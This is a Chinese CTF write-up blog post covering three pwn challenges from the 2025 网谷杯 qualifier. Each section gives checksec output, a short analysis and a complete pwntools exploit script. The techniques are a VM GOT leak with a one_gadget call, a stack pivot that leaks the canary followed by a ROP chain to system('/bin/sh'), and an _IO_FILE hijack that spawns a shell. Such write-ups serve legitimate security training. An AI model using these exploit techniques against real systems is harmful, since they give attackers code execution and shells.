2025 网谷杯wp

Overview

2025的网谷杯初赛,pwn方向的题目除了一道IO题有点麻烦以外,其余的都还是适中难度,在此记录下我的做法

zeroday

看题目名字和给的hint有点像web+pwn0day漏洞?但是做了之后发现并不是这样,感觉和提示和名字都没有关系

checksec

[*] '/home/gary/CTF/pwn/wgb/zeroday/pwn_patched'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    SHSTK:      Enabled
    IBT:        Enabled
Bash

没有开启canarypie

ida分析

ida打开之后发现是一个vm,同时在题目中很好心的给出了leak的提示case 7,那么我们可以首先输入b'\x07' + p64(got)的形式来泄漏libc地址

这里我们选择read函数来泄漏

其次,case 1的逻辑其实就是一个push,同时case 6有一个call函数指针,但前提是要满足*(_QWORD *)(a1 + 0x90)不为空,那么我们使用push填满再call就行了。记住一定不要想着发送eof来栈溢出!

exp

#!/usr/bin/env python3
from pwn import *
import re

filename = "./pwn_patched"
libc_path = "./libc.so.6"
host = "127.0.0.1"
port = 41361

elf = context.binary = ELF(filename)
libc = ELF(libc_path)
context(os='linux', arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])

p = process(elf.path)
# p = remote(host, port)

def debug():
    gdb.attach(p)
    pause()

def make_push(q):
    return b'\x01' + p64(q)

def make_leak(addr):
    return b'\x07' + p64(addr)

def recv_prompt(p):
    return p.recvuntil(b"Enter bytecode:")

def leak_got(p, got_addr):
    recv_prompt(p)
    p.send(make_leak(got_addr))
    line = p.recvline_contains(b"LEAK:")
    m = re.search(rb"LEAK: \[0x[0-9a-fA-F]+\] = 0x([0-9a-fA-F]+) ", line)
    if not m:
        raise RuntimeError("leak parse failed: " + repr(line))
    val = int(m.group(1), 16)
    return val

def PUSH(x): return b'\x01' + p64(x)        # imm64 小端
def CALL():  return b'\x06'

def main():
    # leak printf from GOT using case7
    read_got = elf.got['read']
    debug()
    leaked_read = leak_got(p, read_got)
    log.info(f"leaked read = {hex(leaked_read)}")
    libc_base = leaked_read - libc.symbols['read']
    log.info(f"libc base = {hex(libc_base)}")
    one_gadget = libc_base + 0xe3afe 
    address = one_gadget  # 你要执行的地址(小端进 p64)
    payload  = b''.join(PUSH(0) for _ in range(16))  # 先把 sp 推到 16
    payload += PUSH(address)                          # 写到 index 18
    payload += CALL()     

    # debug()
    p.send(payload)
    p.interactive()

if __name__ == "__main__":
    main()
Python

金丝雀

checksec

[*] '/home/gary/CTF/pwn/wgb/canary/pwn_patched'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
Bash

没有开启pie

ida分析

有一个功能选择,1是执行gift()0是跳过canary直接栈溢出,但是只能覆盖rbpret addr

gift()就是一个最平常的栈溢出,大小足够

思路

这个题首要的任务就是获取canarylibc通过rop链栈溢出就能获取,那如何获取canary

我们分析输出函数

一个write一个putsputs函数可以打印rdi,但是想把canary放到rdi上还是很难的

那另一个就是write函数了,这个函数通过rbp寻址,那么如果我们能控制rbp,是不是也就能控制输出的东西了,而想控制rbp就需要栈迁移等操作,发现func 0正好可以完成栈迁移,那思路就清晰了,通过栈迁移泄漏canary,然后通过rop链泄漏libc,最后栈溢出就行了

exp

#!/usr/bin/env python3

'''
    author: Gary
    time: 2025-09-13 13:05:51
'''
from pwn import *
context(os='linux', arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])

filename = "pwn_patched"
libcname = "/home/gary/.config/cpwn/pkgs/2.31-0ubuntu9.9/amd64/libc6_2.31-0ubuntu9.9_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 1337
elf = context.binary = ELF(filename)
if libcname:
    libc = ELF(libcname)
gs = '''
b main
set debug-file-directory /home/gary/.config/cpwn/pkgs/2.31-0ubuntu9.9/amd64/libc6-dbg_2.31-0ubuntu9.9_amd64/usr/lib/debug
set directories /home/gary/.config/cpwn/pkgs/2.31-0ubuntu9.9/amd64/glibc-source_2.31-0ubuntu9.9_all/usr/src/glibc/glibc-2.31
'''

def start():
    if args.P:
        return process(elf.path)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return gdb.debug(elf.path, gdbscript = gs)

p = start()

def debug():
    gdb.attach(p)
    pause()

bss = 0x404800 + 0x100
pop_rdi_ret = 0x00000000004013e3
ret = pop_rdi_ret + 1
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x40128A
gift_addr = 0x40123D

p.recvuntil(b"Do you want to enter other functions?\n")
p.sendline(str(0))
payload = p64(bss) + p64(0x401292)
p.send(payload)

p.recvuntil(b"Do you want to enter other functions?\n")   # leak canary
p.sendline(str(0))
payload = p64(bss + 0x48) + p64(0x4012ea)
p.send(payload)
canary = u64(p.recv(8))
log.success("canary: " + hex(canary))

p.sendline(b"1")
payload = b"a"*0x38+p64(canary)+b"b"*8+p64(pop_rdi_ret)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x40123d)
p.send(payload)

p.recvuntil(b"functions?\n")                  # leak libc
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
libc.address = puts_addr - libc.sym['puts']
log.success("puts_addr: " + hex(puts_addr))
log.success("libc.address: " + hex(libc.address))
system_addr = libc.sym['system']    
bin_sh_addr = libc.search(b'/bin/sh').__next__()

payload = b"A"*0x38 + p64(canary) + b"B"*8 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
p.send(payload)

p.interactive()
Python

IO

checksec

[*] '/home/gary/CTF/pwn/wgb/io/io'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
Bash

全开,看题目的名字像个堆

ida分析

add限制了大小为0x90-0x1666,同时最多只能有5个堆块,在add输入后有一个读出,这样我们就可以通过残留在chunk中的fdbk泄漏libcheap的地址了

edit函数有一个任意地址写,覆盖buf[0]处的地址为一的大数

delete函数有清零,安全

思路

那么我们的思路就是先泄漏libcheap,然后使用house of corrosion来劫持_IO_list_all,写入我们事先准备好的_IO_FILE就能修改exit()函数的调用链

exp

#!/usr/bin/env python3

'''
    author: Gary
    time: 2025-09-13 12:01:47
'''
from pwn import *

context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
filename = "io_patched"
libcname = "/home/gary/.config/cpwn/pkgs/2.31-0ubuntu9.9/amd64/libc6_2.31-0ubuntu9.9_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 9999
elf = context.binary = ELF(filename)
if libcname:
    libc = ELF(libcname)
gs = '''
b *$rebase(0x93A)
set debug-file-directory /home/gary/.config/cpwn/pkgs/2.31-0ubuntu9.9/amd64/libc6-dbg_2.31-0ubuntu9.9_amd64/usr/lib/debug
set directories /home/gary/.config/cpwn/pkgs/2.31-0ubuntu9.9/amd64/glibc-source_2.31-0ubuntu9.9_all/usr/src/glibc/glibc-2.31
'''

def start():
    if args.P:
        return process(elf.path)
    elif args.REMOTE:
        return remote(host, port, ssl=True)
    else:
        return gdb.debug(elf.path, gdbscript = gs)

p = start()

def add(size, content):
    p.sendlineafter(b"4.exit\n", b"1")
    p.sendlineafter(b"Content length:\n", str(size))
    p.sendafter(b"Please input your data:\n", content)
    p.recvuntil(b"Your data:")

def edit(content):
    p.sendlineafter(b"4.exit\n", b"2")
    p.sendafter(b"As if nothing can be done, but it seems useful?\n", content)

def delete(id):
    p.sendlineafter(b"4.exit\n", b"3")
    p.sendlineafter(b"Content id:\n", str(id))

def exit():
    p.sendlineafter(b"4.exit\n", b"4")

add(0x428, b"A"*8) #0
add(0xf0, b"B"*8)  #1

delete(0)
add(0x428, b"A"*8) #0
p.recvuntil(b"A"*8)
leak_libc = u64(p.recv(6).ljust(8, b"\x00")) - 0x21ace0 + 0x2e100
log.success("leak_libc: " + hex(leak_libc))

delete(0)
add(0x4f8, b"B"*8) #0
add(0x428, b"C"*0x10) #2 -> 0
p.recvuntil(b"C"*0x10)
leak_heap = u64(p.recv(6).ljust(8, b"\x00")) - 0x290
log.success("leak_heap: " + hex(leak_heap))
pause()

fake_io_addr = leak_heap + 0xcc0
fake_io = flat({
    0x00: "  sh;\x00",
    0x28: p64(1),
    0xa0: p64(fake_io_addr + 0xe0),
    0xd8: p64(leak_libc + libc.sym["_IO_wfile_jumps"]),
}, filler=b'\x00')

wide = flat({
    0xe0: p64(fake_io_addr + 0xe0 + 0xe8),
}, filler=b'\x00')

wide_vtable = flat({
    0x68: p64(leak_libc + libc.sym["system"]), 
}, filler=b'\x00')

fake_io = fake_io + wide + wide_vtable
fake_io = fake_io[0x10:]

add(0x1430, fake_io)
pause()
delete(0)
add(0x4f8, b"a"*0x4f0+b"  sh;\x00\x00\x00")

edit(p64(leak_libc+0x1eeea0))
delete(3)

p.sendline(b"4")

p.interactive()
Python
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇